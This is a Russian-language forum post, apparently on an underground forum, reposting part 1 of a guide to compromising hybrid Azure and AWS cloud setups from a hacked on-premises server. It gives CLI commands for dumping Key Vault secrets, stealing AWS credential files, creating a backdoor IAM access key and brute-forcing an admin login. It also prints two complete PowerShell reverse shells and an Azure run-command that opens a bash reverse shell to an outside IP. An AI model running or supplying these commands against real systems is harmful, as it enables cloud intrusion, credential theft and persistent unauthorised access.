✍️ Статья Атака на облака. Гайд по методам взлома приложений в Azure и AWS. Часть 1

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев, и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.

WARNING

Описания техник и атак в этой статье приведены исключительно в образовательных целях. Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.

Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.

-LfulgBNdws.jpg

Пример гибридно-облачной инфраструктуры

Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.

Внутренняя разведка на использование облачных сервисов

Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.

Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.

Сбор данных с помощью утилиты Az

Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login.

oQS9U8SLVR4.jpg

Вход в профиль Azure с помощью команды az login

Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list получим перечень подписок авторизированного пользователя.

oyN9ojs0x4k.jpg

Получение перечня подписок

C помощью директивы az account show --query "id" можно получить ID учетной записи. А команда

az resource list --query "[?type=='Microsoft.KeyVault/vaults']"

позволяет узнать данные о Key Vault. Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.

muXMAJ34Vck.jpg

Вот почему важно правильно настроить Key Vault

А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:
  • az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete — проверить, можно ли восстановить Key Vault;
  • az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}] — проверить, когда секретный ключ Key Vault истекает;
  • az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id' — получить URL для Key Vault;
  • az keyvault secret show --id — получить данные, хранящиеся в Key Vault;
  • az network nsg list --query [*].[name,securityRules] — получить данные о политике безопасности для сети Azure.
tPXYR2rsiBw.jpg

Результат работы команды az keyvault secret show --id

С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access, destinationPortRange, protocol и direction. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.

uC6gig9I52k.jpg

По ряду признаков можно определить, что на сервере разрешены подключения извне

Сбор данных с помощью утилиты AWS

AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство — и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.

Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/.aws/credentials, а в Windows — в C:\Users\USERNAME\.aws\credentials. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

3hQoieK_UtQ.jpg

Извлечение данных о конфигурации AWS CLI

С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:
  • aws sts get-caller-identity — получить данные об используемой учетной записи;
  • aws iam list-users — перечислить всех IAM-пользователей;
  • aws s3 ls — перечислить все доступные AWS S3;
  • aws lambda list --functions — перечислить все lambda-функции;
  • aws lambda get-function --function-name [function_name] — собрать дополнительную информацию по lambda-переменным, локации и так далее;
  • aws ec2 describe-instances — перечислить все доступные виртуальные машины;
  • aws deploy list-applications — перечислить все доступные веб-сервисы;
  • aws rds describe-db-instances — показать все доступные базы данных RDS.
6hCWbsTqD8I.jpg

С помощью одной команды мы можем получить данные о доступных RDS-базах

Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history и посмотреть, какие команды выполнялись за последнее время на этой машине.

Расширение прав и горизонтальное перемещение
AWS

Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой

aws iam create-access-key --user-name iamadmin

8Bzpw3e9sww.jpg

Создаем учетную запись для закрепления в системе

С помощью команд SSH можно подключиться к удаленному AWS bucket.

9hhf4LLjGEY.jpg


Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:
  • .ssh/authorized_keys — содержит подпись публичных ключей для любых авторизованных клиентов;
  • .ssh/id_rsa — содержит приватные ключи для клиентов;
  • .ssh/id_rsa.pub — содержит публичные ключи для клиента;
  • .ssh/known_hosts — содержит список подписей хостов.
Azure

Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.

nmap -sS -sV -v -Pn -p- <IP-адрес>


VYzSnpobBIg.jpg

Запускаем Nmap на виртуальной машине

Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.

Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.

_-ZI5Nhf6VU.jpg

Форма логина администратора веб-приложения

Приложение оказалось уязвимым к запуску команды на удаленном компьютере.

YRsXVfP7jgw.jpg

Запуск команды на удаленном компьютере

Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.

Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.

Первый шелл

powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Второй шелл

$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.

Сила Azure Run — берем шелл

Одна из наиболее интересных возможностей Azure — это run command, функция, которая позволяет удаленно выполнять команды без доступа через SSH или RDP. Run command можно использовать в связке с az group list — командой, перечисляющей группы на атакуемой машине.

zIxcK--Bc2w.jpg

az group list — перечислим группы

Для перечисления виртуальных машин в группе используется команда az vm list -g GROUP-NAME.

ub530gd11Ts.jpg

Перечисляем все VM в группе

Нам удалось найти линуксовую виртуалку, которую можно попробовать проэксплуатировать. Запустим на ней команду с помощью следующей процедуры:

az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"

rh7WyOxWT8g.jpg


С использованием вот такой команды мы можем взять шелл на линукс-машине:

az vm run-command invoke -g bapawsazureresourcegroup2 -n test-vm1 --command-id RunShellScript --scripts "bash -c \\"bash -i >& /dev/tcp/54.243.157.47/9090 0>&1\\"

В принципе, все то же самое может быть проделано для машины на базе Windows. К примеру, можно использовать команду

az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"

Продолжение следует…
 

📌 Золотая реклама

AnonPaste

Верх